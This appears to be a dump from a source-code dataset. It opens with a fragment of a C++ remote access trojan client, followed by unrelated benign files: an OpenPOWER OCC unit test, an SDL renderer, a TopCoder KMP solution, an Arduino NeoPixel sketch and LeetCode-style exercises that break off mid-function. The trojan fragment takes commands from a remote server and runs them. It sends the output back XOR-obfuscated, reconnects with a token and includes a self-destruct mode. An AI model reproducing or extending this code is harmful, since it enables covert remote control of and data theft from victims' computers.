//string name_user = "MOD_HANDSHAKE_NAME_USER" SPLIT + a_name_user;
status = "MOD_DESTRUCTION:" SPLIT + (string)"True";// "[-] An error occurred while executing the destroy mode.";
}
else
{
status = "MOD_DESTRUCTION:" SPLIT + (string)"False";//"[+] The destruction mode is executed successfully.";
}
if(command.substr(16,7) == "default") //6 for default
{
//if default then send status at server.
//send default persi
send(sock_client, XOREncryption(status).c_str(), status.length(),0); //Send the statue to the server. The server will just display the status.
}
else //else substr(15,6) == "broadcast"
{
//not send status
;
}
closeConnexion();
exit(0);
/*
if(status_destruction) //If an error does not finish the connection.
{
;
}
else
{
cout << "Not error bye... " << endl;
//system("pause");
closeConnexion();
exit(0);
}
cout << "\n\n---------------NOT EXIT ??? " << endl;
*/
}
else
{
result = Exec().executeCommand(command);
if(command.substr(0,3) == "[-]")
{;} //if error not append path.
else
{
result.push_back("\n\n"); //test
result.push_back(getPath());
}
sendSafe(result);
}
}
command.erase();
result.clear();
//i++;
}
return 0;
}
string Connexion::recvSafe()
{//allows you to receive data while managing errors
char buffer[BUFFER_LEN];
string result;
ZeroMemory(&buffer, strlen(buffer));
int len_recv=recv(sock_client,buffer,sizeof(buffer),0);
if(len_recv==SOCKET_ERROR)
{
reConnect(); //?
//return 1;
}
else
{
result.append(buffer,len_recv);
if(result.empty())
{
//If command empty re connect to server.
reConnect();
return "";
}
}
return XOREncryption(result);
}
void Connexion::sendSafe(vector<string> result_of_command)
{ /*send data and manage errors, also allows to segment the data if it is too big.
Once the function is finished send "\r\n" to signal to the server that the client has nothing more to send. */
int iResult=0;
int i=0;
int size_all_result_of_command = 0;
string end = "\r\n"; //END CONNECTION.
string request = "";
//cout << "size of result " << result_of_command.size() << endl;
if(result_of_command.size() >= 1)
{
// Multiple request:
for(i=0;i< result_of_command.size(); i++)
{
request = result_of_command[i];
send(sock_client, XOREncryption(request).c_str(), request.length(),0);
/*
cout << request << endl;
cout << "size of request: " << result_of_command[i].length() << endl;
cout << "I: " <<i <<endl;
cout << "---------------------------\n\n" << endl;
cout<< XOREncryption(request) << endl;
*/
size_all_result_of_command += request.length();
Sleep(100);
}
}
else //if one request
{
request = result_of_command[0];
iResult = send(sock_client, XOREncryption(request).c_str(), request.length(),0);
checkSend(iResult);
size_all_result_of_command += request.length();
}
cout << size_all_result_of_command << endl;
iResult=send(sock_client,XOREncryption(end).c_str(),2,0); // send end communication.
checkSend(iResult);
}
void Connexion::checkSend(int &iResult)
{
//Test if an error occurs when sending data
if(iResult == SOCKET_ERROR)
{
//cout << "error in sendSafe" << endl;
reConnect();
}
}
void Connexion::closeConnexion()
{
// Can be made into a code system. ex:
// If CODE01 == data then you delete the rat so everything is element.
// Test if it should delete itself.
// Test if he can connect several times to the server.
// Test if it should wait after x second (s) to reconnect to the server.
//"Close socket successful.
closesocket(sock_client);
WSACleanup(); //The WSACleanup function terminates use of the Winsock 2 DLL (Ws2_32.dll).
}
void Connexion::reConnect()
{
string request;
//if the client has a token then reconnects without handshaking
closeConnexion();
openConnexion();
request = ("MOD_RECONNECT" SPLIT + a_token);
sendUltraSafe(sock_client, XOREncryption(request)); //send token
sendUltraSafe(sock_client, XOREncryption("\r\n"));
}
int Connexion::getSocket()
{
return sock_client;
}
void Connexion::setToken(string token)
{
if(!token.empty())
{
a_token = token;
}
else
{
//if token is empty.
char hex_characters[]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
int i;
srand(time(0));
for(i=0;i< 24 ;i++){token += hex_characters[rand()%16];}
a_token;
}
}
void Connexion::setIsAdmin(bool is_admin)
{
if(is_admin)
{
a_is_admin = true; //is admin
}
else
{
a_is_admin = false; //is not admin
}
}
void Connexion::setPathProg(string path_prog)
{
a_path_prog = path_prog;
}
| true |
baf16480d7c8eaa5858d33f8881fd2ea4482abc5 | C++ | ryandcyu/openpower-occ-control | /test/utest.cpp | UTF-8 | 1,037 | 2.515625 | 3 | [
"Apache-2.0"
] | permissive | #include <gtest/gtest.h>
#include <occ_events.hpp>
#include <occ_manager.hpp>
#include "powercap.hpp"
using namespace open_power::occ;
class VerifyOccInput : public ::testing::Test
{
public:
VerifyOccInput() :
bus(sdbusplus::bus::new_default()),
rc(sd_event_default(&event)),
eventP(event),
manager(bus, eventP),
occStatus(bus, eventP, "/test/path/occ1", manager),
pcap(bus,occStatus)
{
EXPECT_GE(rc, 0);
event = nullptr;
}
~VerifyOccInput()
{}
sdbusplus::bus::bus bus;
sd_event* event;
int rc;
open_power::occ::EventPtr eventP;
Manager manager;
Status occStatus;
powercap::PowerCap pcap;
};
TEST_F(VerifyOccInput, PcapDisabled) {
uint32_t occInput = pcap.getOccInput(100,false);
EXPECT_EQ(occInput, 0);
}
TEST_F(VerifyOccInput, PcapEnabled) {
uint32_t occInput = pcap.getOccInput(100,true);
EXPECT_EQ(occInput, 90);
}
| true |
e463d1a439ccb024abd901d6d6341539f59b516a | C++ | PetarZecevic97/Paint-the-town-crimson | /Engine/src/Render/Renderer.cpp | UTF-8 | 5,258 | 2.5625 | 3 | [] | no_license | #include "precomp.h"
#include "Renderer.h"
#include "Render/Window.h"
#include "Render/Texture.h"
#include "ECS/Entity.h"
#include <SDL.h>
namespace Engine
{
bool Renderer::Init(const WindowData& windowData_)
{
LOG_INFO("Initializing Renderer");
m_Window = std::make_unique<Window>();
if (!m_Window->Init(windowData_))
{
LOG_CRITICAL("Unable to create a Window.");
}
m_NativeRenderer = SDL_CreateRenderer(
m_Window->GetNativeWindowHandle(),
-1,
windowData_.m_Vsync ? SDL_RENDERER_PRESENTVSYNC : 0 |
SDL_RENDERER_ACCELERATED);
if (m_NativeRenderer == nullptr)
{
LOG_CRITICAL("Unable to create a renderer. SDL error: {}", SDL_GetError());
return false;
}
SetBackgroundColor(100, 150, 236, SDL_ALPHA_OPAQUE);
return true;
}
bool Renderer::Shutdown()
{
LOG_INFO("Shutting down Renderer");
if (m_NativeRenderer != nullptr)
{
SDL_DestroyRenderer(m_NativeRenderer);
}
m_NativeRenderer = nullptr;
m_Window.reset();
return true;
}
vec2 GetScreenPosition(vec2 targetPosition, const Entity* camera)
{
vec2 screenCenter{ camera->GetComponent<TransformComponent>()->m_Size / 2.0f };
return targetPosition - camera->GetComponent<TransformComponent>()->m_Position + screenCenter;
}
bool IsInsideScreen(vec2 targetWorldPosition, vec2 targetSize, const Entity* camera)
{
vec2 screenPosition = GetScreenPosition(targetWorldPosition, camera);
return (screenPosition.x + targetSize.x / 2.0f >= 0 && screenPosition.x - targetSize.x / 2.0f <= camera->GetComponent<TransformComponent>()->m_Size.x)
&& (screenPosition.y + targetSize.y / 2.0f >= 0 && screenPosition.y - targetSize.y / 2.0f <= camera->GetComponent<TransformComponent>()->m_Size.y);
}
void Renderer::DrawEntities(const std::vector<Entity*> renderables_, const Entity* camera)
{
for (const auto r : renderables_)
{
DrawEntity(r, camera);
}
}
void Renderer::DrawEntity(const Entity* r, const Entity* camera)
{
auto transform = r->GetComponent<TransformComponent>();
auto sprite = r->GetComponent<SpriteComponent>();
vec2 size = transform->m_Size;
if (size == vec2{ 0.f, 0.f }) // Use size of texture if size of entity isn't set
{
int w, h;
SDL_QueryTexture(sprite->m_Image->m_Texture, NULL, NULL, &w, &h);
size.x = static_cast<float>(w);
size.y = static_cast<float>(h);
}
if (IsInsideScreen(transform->m_Position, vec2(size.x, size.y), camera))
{
vec2 screenPosition = GetScreenPosition(transform->m_Position, camera);
SDL_Rect dst{ (int)(screenPosition.x - size.x / 2), (int)(screenPosition.y - size.y / 2), (int)size.x, (int)size.y };
SDL_RendererFlip flip = static_cast<SDL_RendererFlip>((sprite->m_FlipHorizontal ? SDL_FLIP_HORIZONTAL : SDL_FLIP_NONE) | (sprite->m_FlipVertical ? SDL_FLIP_VERTICAL : SDL_FLIP_NONE));
//We need the src field to cut the image from the spritesheet(but some entities dont need spritesheets)
if (sprite->m_Animation) {
SDL_RenderCopyEx(
m_NativeRenderer,
sprite->m_Image->m_Texture,
&sprite->m_src,
&dst,
transform->m_Rotation,
NULL,
flip);
}
else {
SDL_RenderCopyEx(
m_NativeRenderer,
sprite->m_Image->m_Texture,
NULL,
&dst,
transform->m_Rotation,
NULL,
flip);
}
#ifdef _DEBUG
// DebugDraw
SDL_SetRenderDrawColor(m_NativeRenderer, 255, 0, 0, SDL_ALPHA_OPAQUE);
SDL_RenderDrawPoint(m_NativeRenderer, (int)screenPosition.x, (int)screenPosition.y);
if (auto collider = r->GetComponent<CollisionComponent>())
{
SDL_SetRenderDrawColor(m_NativeRenderer, 255, 0, 0, SDL_ALPHA_OPAQUE);
dst = { (int)(screenPosition.x - collider->m_Size.x / 2), (int)(screenPosition.y - collider->m_Size.y / 2), (int)collider->m_Size.x, (int)collider->m_Size.y };
SDL_RenderDrawRect(m_NativeRenderer, &dst);
}
SetBackgroundColor(m_BackgroundColor);
#endif
}
}
void Renderer::SetBackgroundColor(unsigned char bgR_, unsigned char bgG_, unsigned char bgB_, unsigned char bgA_)
{
m_BackgroundColor.r = bgR_;
m_BackgroundColor.g = bgG_;
m_BackgroundColor.b = bgB_;
m_BackgroundColor.a = bgA_;
SDL_SetRenderDrawColor(m_NativeRenderer, bgR_, bgG_, bgB_, bgA_);
}
void Renderer::SetBackgroundColor(const Color& col_)
{
m_BackgroundColor = col_;
SDL_SetRenderDrawColor(m_NativeRenderer, m_BackgroundColor.r, m_BackgroundColor.g, m_BackgroundColor.b, m_BackgroundColor.a);
}
void Renderer::BeginScene() const
{
SDL_RenderClear(m_NativeRenderer);
}
void Renderer::EndScene() const
{
SDL_RenderPresent(m_NativeRenderer);
}
Renderer::~Renderer()
{
Shutdown();
}
}
| true |
83da837a06448f4a16a54ea90f4cdd78b7008433 | C++ | electro1rage/OJProblemsCodes | /Problem Storage/Greedy/Medium/KMP/RunningLetters.cpp | UTF-8 | 2,721 | 3.28125 | 3 | [] | no_license | #include <bits/stdc++.h>
using namespace std;
class RunningLetters {
public:
vector<int> getLongestPrefixarr(string &message) {
int m = message.size();
vector<int> longestprefix(m);
for (int i = 1, k = 0; i < m; ++i) {
while (k > 0 && message[k] != message[i])
k = longestprefix[k - 1];
if (message[k] == message[i])
++k;
longestprefix[i] = k;
}
return longestprefix;
}
int newsLength(vector <string> running) {
string algo;
for (auto &x : running)
algo += x;
string message;
int x;
string text;
stringstream ss(algo);
while (ss >> x >> text) {
for (int i = 0; i < x; ++i)
message += text;
}
vector<int> longestprefix = getLongestPrefixarr(message);
int n = message.size();
return n - longestprefix[n - 1];
}
// BEGIN CUT HERE
public:
void run_test(int Case) { if ((Case == -1) || (Case == 0)) test_case_0(); if ((Case == -1) || (Case == 1)) test_case_1(); if ((Case == -1) || (Case == 2)) test_case_2(); if ((Case == -1) || (Case == 3)) test_case_3(); if ((Case == -1) || (Case == 4)) test_case_4(); }
private:
template <typename T> string print_array(const vector<T> &V) { ostringstream os; os << "{ "; for (typename vector<T>::const_iterator iter = V.begin(); iter != V.end(); ++iter) os << '\"' << *iter << "\","; os << " }"; return os.str(); }
void verify_case(int Case, const int &Expected, const int &Received) { cerr << "Test Case #" << Case << "..."; if (Expected == Received) cerr << "PASSED" << endl; else { cerr << "FAILED" << endl; cerr << "\tExpected: \"" << Expected << '\"' << endl; cerr << "\tReceived: \"" << Received << '\"' << endl; } }
void test_case_0() { string Arr0[] = {"3 abc 1 ab"}; vector <string> Arg0(Arr0, Arr0 + (sizeof(Arr0) / sizeof(Arr0[0]))); int Arg1 = 3; verify_case(0, Arg1, newsLength(Arg0)); }
void test_case_1() { string Arr0[] = {"1 babaaba"}; vector <string> Arg0(Arr0, Arr0 + (sizeof(Arr0) / sizeof(Arr0[0]))); int Arg1 = 5; verify_case(1, Arg1, newsLength(Arg0)); }
void test_case_2() { string Arr0[] = {"1 ba 1 c 1 bacba 3 cba"}; vector <string> Arg0(Arr0, Arr0 + (sizeof(Arr0) / sizeof(Arr0[0]))); int Arg1 = 3; verify_case(2, Arg1, newsLength(Arg0)); }
void test_case_3() { string Arr0[] = {"42 runningletters 42 runningletters 1 running"}; vector <string> Arg0(Arr0, Arr0 + (sizeof(Arr0) / sizeof(Arr0[0]))); int Arg1 = 14; verify_case(3, Arg1, newsLength(Arg0)); }
void test_case_4() { string Arr0[] = {"1 b ", "1 a ", "1 b ", "1 a", " 1 b"}; vector <string> Arg0(Arr0, Arr0 + (sizeof(Arr0) / sizeof(Arr0[0]))); int Arg1 = 2; verify_case(4, Arg1, newsLength(Arg0)); }
// END CUT HERE
};
// BEGIN CUT HERE
int main() {
RunningLetters ___test;
___test.run_test(-1);
}
// END CUT HERE
| true |
8e58e27ecb6f72f4abeb21dc6488caa7ea835755 | C++ | mrzacharycook/TwitterColors | /lib/ArduinoColorSetter.ino | UTF-8 | 2,221 | 3.3125 | 3 | [] | no_license | // include the neo pixel library
#include <Adafruit_NeoPixel.h>
// The number of LEDs being driven.
static const int NUM_LEDS = 8;
// Parameter 1 = number of pixels in strip
// Parameter 2 = pin number (most are valid)
// Parameter 3 = pixel type flags, add together as needed:
// NEO_RGB Pixels are wired for RGB bitstream
// NEO_GRB Pixels are wired for GRB bitstream
// NEO_KHZ400 400 KHz bitstream (e.g. FLORA pixels)
// NEO_KHZ800 800 KHz bitstream (e.g. High Density LED strip)
Adafruit_NeoPixel strip = Adafruit_NeoPixel(
NUM_LEDS, // Number of pixels in strip
7, // Pin number (most are valid)
NEO_GRB + NEO_KHZ800 // pixel type flags, add together as needed:
// NEO_RGB Pixels are wired for RGB bitstream
// NEO_GRB Pixels are wired for GRB bitstream
// NEO_KHZ400 400 KHz bitstream (e.g. Old FLORA pixels)
// NEO_KHZ800 800 KHz bitstream (e.g. New FLORA pixels and most WS2811 strips)
);
//Initialize integers that we'll parse from the Serial feed later.
int pixel = 0;
int red = 0;
int green = 0;
int blue = 0;
void setup() {
// Init the NeoPixel library and turn off all the LEDs
strip.begin();
strip.show();
// Initialize serial and wait for port to open:
Serial.begin(9600);
while (!Serial) {
; // wait for port to be ready
}
// Tell the computer that we're ready for data
Serial.println("READY");
}
void loop() {
// listen for serial:
if (Serial.available() > 0) {
// If we see a feed from the Serial starting with C, begin parsing out integers for the values below
if (Serial.read() == 'C') { // string should start with C
pixel = Serial.parseFloat(); // then an ASCII number for pixel number
red = Serial.parseFloat(); // then an ASCII number for red
green = Serial.parseFloat(); // then an ASCII number for green
blue = Serial.parseFloat(); // then an ASCII number for blue
}
}
// For the given pixel, set the color
strip.setPixelColor(pixel, red, green, blue);
// Send the values to the strip and update
strip.show();
} | true |
2d67c33cb1a1ff8dcdc7ec973ef812a3e5643e2c | C++ | candyguo/code_learning | /code.cpp | UTF-8 | 145,447 | 3.046875 | 3 | [] | no_license | #include <iostream>
#include <vector>
#include <string>
#include <stack>
#include <algorithm>
#include <numeric>
#include <unordered_map>
#include <map>
#include <set>
#include <queue>
#include <tuple>
#include <chrono>
#include <thread>
#include <mutex>
#include <algorithm>
#include <list>
#include <cmath>
#include <cstring>
// 每个数字都应该在数字所对应的位置上面
int find_repeated_num(std::vector<int>& nums) {
std::vector<int> postions(nums.size(),-1);
for(int i = 0; i < nums.size(); i++) {
int num = nums.at(i);
if(postions[num] != -1) {
return num;
} else {
postions[num] = num;
}
}
return -1;
}
bool is_valid_pair(const char a, const char b) {
if(a == '(')
return b == ')';
if(a == '[')
return b == ']';
if(a == '{')
return b == '}';
return false;
}
bool is_valid_bracket(const std::string& str) {
if(str.empty())
return true;
std::stack<char> bracket_stack;
bracket_stack.push(str.front());
for(size_t i = 1; i < str.size(); i++) {
if(bracket_stack.empty()) {
bracket_stack.push(str[i]);
continue;
}
auto c = bracket_stack.top();
if(is_valid_pair(c,str[i])) {
bracket_stack.pop();
} else {
bracket_stack.push(str[i]);
}
}
return bracket_stack.empty();
}
class min_stack {
public:
min_stack() {}
void push(int x) {
s.push(x);
v.push_back(x);
order_v = v;
std::sort(order_v.begin(),order_v.end());
}
void pop() {
s.pop();
v.pop_back();
order_v = v;
std::sort(order_v.begin(),order_v.end());
}
int top() {
return s.top();
}
int get_min() {
return order_v.front();
}
private:
std::stack<int> s;
std::vector<int> v;
std::vector<int> order_v;
};
//也可以维护一个每次推入元素的最小元素栈
class min_stack_2 {
public:
min_stack_2() {}
void push(int x) {
s.push(x);
if(min_s.empty())
min_s.push(x);
else {
int t = min_s.top();
min_s.push(std::min(x,t));
}
}
void pop() {
s.pop();
min_s.pop();
}
int top() {
return s.top();
}
int get_min() {
return min_s.top();
}
std::stack<int> s;
std::stack<int> min_s;
};
std::vector<int> next_greater_num(const std::vector<int>& nums1,
const std::vector<int>& nums2) {
std::vector<int> results(nums1.size(),-1);
for(size_t i = 0; i < nums1.size(); i++) {
int num = nums1.at(i);
auto index = std::find(nums2.begin(),nums2.end(),num);
int start_index = std::distance(nums2.begin(),index);
for(int j = start_index; j < int(nums2.size()); j++) {
if(nums2.at(j) > num) {
results.at(i) = nums2.at(j);
break;
}
}
}
return results;
}
std::string erase_outer_bracket(const std::string& str) {
// step1: 先做原语化分解
std::vector<std::string> primative_strings;
int start_index = 0;
int len = 0;
std::stack<char> bracket_stack;
for(size_t i = 0; i < str.size(); i++) {
if(bracket_stack.empty() && len != 0) {
std::string primative_string = str.substr(start_index,len);
primative_strings.push_back(primative_string);
start_index = i;
len = 0;
}
if(bracket_stack.empty()) {
bracket_stack.push(str[i]);
len++;
continue;
}
auto top = bracket_stack.top();
if(is_valid_pair(top,str[i])) {
bracket_stack.pop();
} else {
bracket_stack.push(str[i]);
}
len++;
}
if(bracket_stack.empty() && len != 0) {
std::string primative_string = str.substr(start_index,len);
primative_strings.push_back(primative_string);
}
// step2:对分解得到的序列字符串去掉外层括号做合并
std::string result = "";
for(auto& e : primative_strings) {
result += e.substr(1,int(e.size()) - 2);
}
return result;
}
int baseball_score(const std::vector<std::string>& ops) {
std::vector<int> scores;
for(int i = 0; i < ops.size(); i++) {
if(ops[i] == "+") {
int last_one = scores[scores.size() - 1];
int last_two = scores[scores.size() - 2];
scores.push_back(last_one + last_two);
} else if(ops[i] == "D") {
int last_one = scores[scores.size() - 1];
scores.push_back(last_one * 2);
} else if(ops[i] == "C") {
scores.pop_back();
} else {
scores.push_back(atoi(ops[i].c_str()));
}
}
return std::accumulate(scores.begin(),scores.end(),0);
}
std::string remove_repeat(const std::string& s) {
std::stack<char> unique_stack;
for(size_t i = 0; i < s.size(); i++) {
if(unique_stack.empty()) {
unique_stack.push(s[i]);
continue;
}
auto c = unique_stack.top();
if(c == s[i])
unique_stack.pop();
else
{
unique_stack.push(s[i]);
}
}
// 重构result
std::string result = "";
while(!unique_stack.empty()) {
result = unique_stack.top() + result;
unique_stack.pop();
}
return result;
}
bool backspace_compare(const std::string& s, const std::string& t) {
std::stack<char> stack_s;
std::stack<char> stack_t;
for(size_t i = 0; i < s.size(); i++) {
if(s[i] == '#') {
if(!stack_s.empty()) {
stack_s.pop();
}
} else {
stack_s.push(s[i]);
}
}
for(size_t i = 0; i < t.size(); i++) {
if(t[i] == '#') {
if(!stack_t.empty()) {
stack_t.pop();
}
} else {
stack_t.push(s[i]);
}
}
while(!stack_s.empty()) {
if(stack_s.top() != stack_t.top())
return false;
stack_s.pop();
stack_t.pop();
}
return true;
}
int remove_value(std::vector<int>& arr, const int value) {
//找到相应的元素,原地覆盖
int index = 0;
for(auto& e : arr) {
if(e != value) {
arr[index++] = e;
}
}
return index;
}
// use hash table to solve it
std::vector<int> twoSum(std::vector<int>& nums, int target) {
//hash表储存的是数字及其对应的(位置索引+1)
std::unordered_map<int,int> hash_table;
for(size_t i = 0; i < nums.size(); i++) {
int other_number = target - nums[i];
if(hash_table[other_number] > 0) {
return {hash_table[other_number] - 1, static_cast<int>(i)};
} else {
// 把当前数先加入哈希表
hash_table[nums[i]] = i + 1;
}
}
std::cout<<"no pair found"<<std::endl;
return {};
}
int maxEqualRowsAfterFlips(std::vector<std::vector<int>>& matrix) {
//翻转后的最多行 = 某一行出现的个数 + 其补行出现的个数
std::map<std::string,int> has; //遍历使用map来进行遍历
for(size_t i = 0; i < matrix.size(); i++) {
std::string tmp = "";
for(size_t j = 0; j < matrix[i].size(); j++) {
tmp += std::to_string(matrix[i][j]);
}
has[tmp] ++;
}
int result = 0;
for(auto iter = has.begin(); iter != has.end(); iter++) {
std::string tmp = iter->first;
std::string rev = "";
for(size_t i = 0; i < tmp.size();i++) {
if(tmp[i] == '1')
rev += '0';
else
rev += '1';
}
//原本的每一行都对应一个最多行的个数
result = std::max(result, iter->second + has[rev]);
}
return result;
}
int singleNumber(std::vector<int>& nums) {
std::map<int,int> has;
for(size_t i = 0; i < nums.size(); i++) {
has[nums[i]]++;
}
for(auto iter = has.begin(); iter != has.end(); iter++) {
if(iter->second == 1)
return iter->first;
}
return nums.front();
}
std::vector<int> intersection(std::vector<int>& nums1, std::vector<int>& nums2) {
//使用哈希来判断数组交集,准备一半(O(N))
std::unordered_map<int,int> has1;
for(auto& num : nums1) {
has1[num]++;
}
std::set<int> results_set;
for(auto& num : nums2) {
if(has1[num] > 0) {
results_set.insert(num);
}
}
std::vector<int> results;
for(auto& num : results_set) {
results.push_back(num);
}
return results;
}
int fourSumCount(std::vector<int>& A, std::vector<int>& B,
std::vector<int>& C, std::vector<int>& D) {
//准备一半 ,哈希AB和CD的和
std::map<int,std::vector<std::pair<int,int>>> hash_AB;
std::map<int,std::vector<std::pair<int,int>>> hash_CD;
for(size_t i = 0; i < A.size(); i++) {
for(size_t j = 0; j < B.size(); j++) {
int sum = A[i] + B[j];
hash_AB[sum].push_back({i,j});
}
}
for(size_t i = 0; i < C.size(); i++) {
for(size_t j = 0; j < D.size(); j++) {
int sum = C[i] + D[j];
hash_CD[sum].push_back({i,j});
}
}
int result = 0;
for(auto iter = hash_AB.begin(); iter != hash_AB.end(); iter++) {
int value = -(iter->first);
if(hash_CD.count(value) != 0)
result += iter->second.size() * hash_CD[value].size();
}
return result;
}
class TinyUrl {
public:
std::string encode(std::string long_url) {
return long_url;
}
std::string decode(std::string short_url) {
return short_url;
}
};
int subarraySum(std::vector<int>& nums, int k) {
// 计算累积分布
std::map<int,int> accumulate_map;
accumulate_map[0] = nums.front();
for(size_t i = 1; i < nums.size(); i++) {
accumulate_map[i] = nums[i] + accumulate_map[i-1];
}
std::map<int,std::vector<int>> accumulate_value;
for(auto iter = accumulate_map.begin(); iter != accumulate_map.end(); iter++) {
int index = iter->first;
int sum = iter->second;
accumulate_value[sum].push_back(iter->first);
}
int result = 0;
if(accumulate_value.count(k) != 0)
result += accumulate_value[k].size();
int start_index = 1;
for( ; start_index < int(nums.size()); start_index++) {
int accumulate_sum = k + accumulate_map[start_index - 1];
if(accumulate_value.count(accumulate_sum) != 0) {
auto v = accumulate_value[accumulate_sum];
result += std::count_if(v.begin(),v.end(),[&](int i) {
return i >= start_index;
});
}
}
return result;
}
// todo use hash
int subarraysDivByK(std::vector<int>& A, int K) {
std::map<int,int> accumulate_map;
accumulate_map[0] = A.front();
for(size_t i = 1; i < A.size(); i++) {
accumulate_map[i] = A[i] + accumulate_map[i-1];
}
std::map<int,std::vector<int>> accumulate_value;
for(auto iter = accumulate_map.begin(); iter != accumulate_map.end(); iter++) {
int index = iter->first;
int sum = iter->second;
accumulate_value[sum % K].push_back(iter->first);
}
int result = 0;
if(accumulate_value.count(0) != 0)
result += accumulate_value[0].size();
int start_index = 1;
for(; start_index < A.size(); start_index++) {
int prenum_sum_mod = accumulate_map[start_index - 1];
for(int j = start_index; j < A.size();j ++) {
int value = accumulate_map[j] - prenum_sum_mod;
if(value % K == 0)
result++;
}
}
return result;
}
struct TreeNode {
int val;
TreeNode* left_child;
TreeNode* right_child;
TreeNode(int v) : val(v),left_child(nullptr),right_child(nullptr) {}
TreeNode(int v, TreeNode* left, TreeNode* right) :
val(v),left_child(left),right_child(right) {};
};
//递归结构恢复二叉树,哈希表进行元素查询
class FindElements {
public:
FindElements(TreeNode* root) {
recover(root,0);
}
bool find(int target) {
return has[target] > 0;
}
void recover(TreeNode* root,int val) {
if(root == nullptr)
return;
root->val = val;
has[val]++;
recover(root->left_child,2*val + 1);
recover(root->right_child,2*val + 2);
}
// default value = 0;
std::map<int,int> has;
};
void moveZeroes(std::vector<int>& nums) {
int pos = 0;
for(auto& num : nums) {
if(num != 0) {
nums[pos] = num;
pos++;
}
}
for(int i = pos; i < nums.size(); i++) {
nums[i] = 0;
}
}
int removeDuplicates(std::vector<int>& nums) {
auto iter = std::unique(nums.begin(),nums.end());
return std::distance(nums.begin(),iter);
}
int removeDuplicates_2(std::vector<int>& nums) {
if(nums.empty())
return 0;
int pos = 1;
int repeat_times = 1;
for(size_t i = 1; i < nums.size(); i++) {
if(nums[i] != nums[i-1]) {
nums[pos++] = nums[i];
repeat_times = 1;
} else {
if(repeat_times == 1) {
nums[pos++] = nums[i];
repeat_times = 2;
} else {
continue;
}
}
}
return pos;
}
void reverseString(std::vector<char>& s) {
std::string a;
std::reverse(s.begin(),s.end());
}
//翻转索引 i 和 j 之间的数据,包括索引 i 和 j
void reverseStr(std::string& s, int i, int j) {
int ii = i;
int jj = j;
while(ii < jj) {
std::swap(s[ii],s[jj]);
ii++;
jj--;
}
}
//索引的递增
std::string reverseStr(std::string s, int k) {
std::string result = s;
if(k >= result.size())
reverseStr(result,0,result.size()-1);
else
reverseStr(result,0,k-1);
int start_index = 2 * k;
int end_index = start_index + 2 * k - 1;
while(end_index < result.size()) {
reverseStr(result,start_index, start_index + k - 1);
start_index += 2 * k;
end_index += 2 * k;
}
if(start_index + k >= result.size())
reverseStr(result,start_index,result.size() - 1);
else
reverseStr(result,start_index,start_index + k - 1);
return result;
}
//无符号整数中1的个数
int hammingWeight(uint32_t n) {
int cnt = 0;
while(n > 0) {
n = n & (n-1);
cnt++;
}
return cnt;
}
bool isPowerOfTwo(int n) {
int cnt = 0;
while(n > 0) {
cnt += n & 1;
n = n >> 1;
}
return cnt == 1;
}
int hammingDistance(int x, int y) {
int diff = x ^ y;
int result = 0;
while(diff) {
result += diff & 1;
diff >>= 1;
}
return result;
}
std::vector<std::vector<int>> threeSum(std::vector<int>& nums) {
std::vector<std::vector<int>> results;
if(nums.size() < 3)
return results;
std::map<int,std::vector<std::pair<int,int>>> two_sum_map;
for(size_t i = 0; i < nums.size(); i++) {
for(size_t j = i + 1; j < nums.size(); j++) {
int sum = nums[i] + nums[j];
two_sum_map[sum].push_back({i,j});
}
}
std::set<std::vector<int>> tmp_results;
for(size_t i = 0; i < nums.size() - 2; i++) {
if(two_sum_map.count(-nums[i]) != 0) {
auto& pairs = two_sum_map[-nums[i]];
for(auto& pair : pairs) {
if(pair.first <= i || pair.second <= i)
continue;
std::vector<int> tmp{nums[i],nums[pair.first],nums[pair.second]};
std::sort(tmp.begin(),tmp.end());
tmp_results.insert(tmp);
}
}
}
for(auto& result : tmp_results) {
results.push_back(result);
}
return results;
}
std::vector<int> dailyTemperatures(std::vector<int>& T) {
// std::vector<int> results(T.size(), 0);
// for(size_t i = 0; i < T.size()-1; i++) {
// for(int j = i + 1; j < T.size(); j++) {
// if(T[j] > T[i]) {
// results[i] = j - i;
// break;
// }
// }
// }
// return results;
// 维护一个单调递减栈,有大的数就可以更新结果
// 递减栈
std::vector<int> results(T.size(), 0);
std::stack<std::pair<int,int>> temper_stack; // index and temperatures
temper_stack.push({0, T.front()});
for(size_t i = 1; i < T.size(); i++) {
if(T[i] <= temper_stack.top().second) {
temper_stack.push({i,T[i]});
continue;
}
while(!temper_stack.empty() && T[i] > temper_stack.top().second) {
results[temper_stack.top().first] = i - temper_stack.top().first;
temper_stack.pop();
}
temper_stack.push({i,T[i]});
}
return results;
}
/*
给定状态下出现观测的概率
*/
std::vector<int> plusOne(std::vector<int>& digits) {
std::vector<int> results;
int over = 0;
int num = 0;
for(int i = (digits.size() - 1); i >=0 ; i--) {
if(i == digits.size() - 1)
num = digits.at(i) + 1 + over;
else
{
num = digits.at(i) + over;
}
over = num / 10;
results.push_back(num % 10);
}
if(over != 0)
results.push_back(over);
std::reverse(results.begin(),results.end());
return results;
}
int validIndex(const int i, const int j, const std::vector<std::vector<int>>& M) {
//索引有效,返回像素值,否则为-1
if(i >= 0 && i < M.size() && j >= 0 && j < M.front().size())
return M[i][j];
return -1;
}
std::vector<std::vector<int>> imageSmoother(std::vector<std::vector<int>>& M) {
int rows = M.size();
int cols = M.front().size();
std::vector<std::vector<int>> smooth_image(rows,std::vector<int>(cols,0));
for(int i = 0; i < rows; i++) {
for(int j = 0; j < cols; j++) {
int valid_count = 0;
int sum = 0;
for(int k = -1; k <=1; k++) {
for(int l = -1; l <= 1; l++) {
if(validIndex(i+k,j+l,M) != -1) {
sum += validIndex(i+k,j+l,M);
valid_count++;
}
}
}
std::cout<< sum <<std::endl;
smooth_image[i][j] = std::floor(sum / valid_count);
}
}
return smooth_image;
}
int majorityElement(std::vector<int>& nums) {
int maj_num = 0;
int maj_count = 0;
std::unordered_map<int,int> has;
for(auto& num : nums) {
has[num] ++;
if(has[num] > maj_count) {
maj_count = has[num];
maj_num = num;
}
}
return maj_num;
}
struct ListNode {
int val;
ListNode* next;
ListNode(int v) : val(v),next(nullptr) {}
};
// 分割链表,使得小于x的节点在大于等于x节点的左边
ListNode* partition(ListNode* head, int x) {
ListNode* p = head;
ListNode* dummysmall = nullptr;
ListNode* dummylarge = nullptr;
ListNode* dummyp = nullptr;
ListNode* dummyq = nullptr;
while(p != nullptr) {
if(p->val < x) {
if(dummysmall == nullptr) {
dummysmall = p;
dummyp = dummysmall;
} else {
dummyp->next = p;
dummyp = p;
}
} else {
if(dummylarge == nullptr) {
dummylarge = p;
dummyq = dummylarge;
} else {
dummyq->next = p;
dummyq = p;
}
}
//传递好之后,断开之前的节点
p = p->next;
